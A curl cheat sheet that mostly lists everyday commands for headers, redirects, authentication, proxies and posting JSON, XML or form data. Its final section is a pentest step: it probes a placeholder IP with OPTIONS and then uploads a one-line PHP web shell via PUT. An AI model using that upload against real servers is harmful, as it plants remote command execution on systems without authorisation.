GTFOcurls
GitHub Repo stars

Basics

A quick cheat sheet for curl

#Curl Basics

#Get header

$ curl -i <URL>

#Follow redirects

$ curl -L <URL>

#Ignore ssl error

$ curl -k <URL>

#Specific HTTP Method

$ curl -XPOST <URL>
$ curl -XPUT <URL>
$ curl -XDELETE <URL>

#Set values

curl --cookie "Name=Value" <URL>

#User Agent

curl -A "ReqBin Curl Client/1.0" <URL>

#Custom Header

curl -H "X-Custom-Header: value" <URL>

#Basic auth

curl -u "login:password" <URL>

#Parameters

#Connection timeout

curl --connection-timeout 5 <URL>

#Post Json Curl

curl -X POST <URL> -H 'Content-Type: application/json' -d '{"login":"my_login","password":"my_password"}'

#Post with body curl

curl -X POST <URL> -H "Content-Type: application/json" -d '{"productId": 123456, "quantity": 100}'

#Post file using curl

curl -d @data.json <URL>

#Curl through proxy

curl <URL> -x myproxy.com:8080 -U login:password

#Curl with bearer token authrizaion header

curl <URL> -H "Accept: application/json" -H "Authorization: Bearer {token}"

#Curl fetching json

curl <URL> -H "Accept: application/json"

#Post form data with curl

curl -X POST <URL> -H "Content-Type: application/x-www-form-urlencoded" -d "param1=value1&param2=value2"

#Set Content type curl

curl -X POST <URL> -H 'Content-Type: application/json' -H 'Accept: application/json' -d '{"Id": 78912, "Quantity": 1, "Price": 19.00}'

#Post XML with curl

curl -X POST <URL> -H "Content-Type: application/xml" -H "Accept: application/xml" -d "<Request><Login>my_login</Login><Password>my_password</Password></Request>"

#Curl fetch XML

curl <URL> -H "Accept: application/xml"

#Curl send PUT request

curl -X PUT <URL> -d "PUT request data"

#Curl send DELETE request

curl -X DELETE <URL> -H "Accept: application/json"

#Curl send OPTIONS request

curl https://api.reqbin.com/api/v1/requests -X OPTIONS -H "Access-Control-Request-Method: POST" -H "Access-Control-Request-Headers: content-type" -H "Origin: https://reqbin.com"

#Curl send CORS request

curl -H "Origin: https://example.reqbin.com" https://sample-site.com

#Curl convert to PYTHON

curl -X POST <URL> -H "Content-Type: application/json" -d "{\"login\":\"my_login\",\"password\":\"my_password\"}"

#Curl convert to Javascript / AJAX Calls

curl -X POST <URL> -H "Content-Type: application/json" -d "{\"login\":\"my_login\",\"password\":\"my_password\"}"

#Curl convert to PHP

curl -X POST <URL> -H "Content-Type: application/json" -d "{\"login\":\"my_login\",\"password\":\"my_password\"}"

#Curl convert to HTTP request

curl https://sample-site.com/get/json -H "Content-Type: application/json" -H "Accept: application/json"

#Check if it is possible to upload using put

curl -v -X OPTIONS http://INSERTIPADDRESS/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://INSERTIPADDRESS/test/shell.php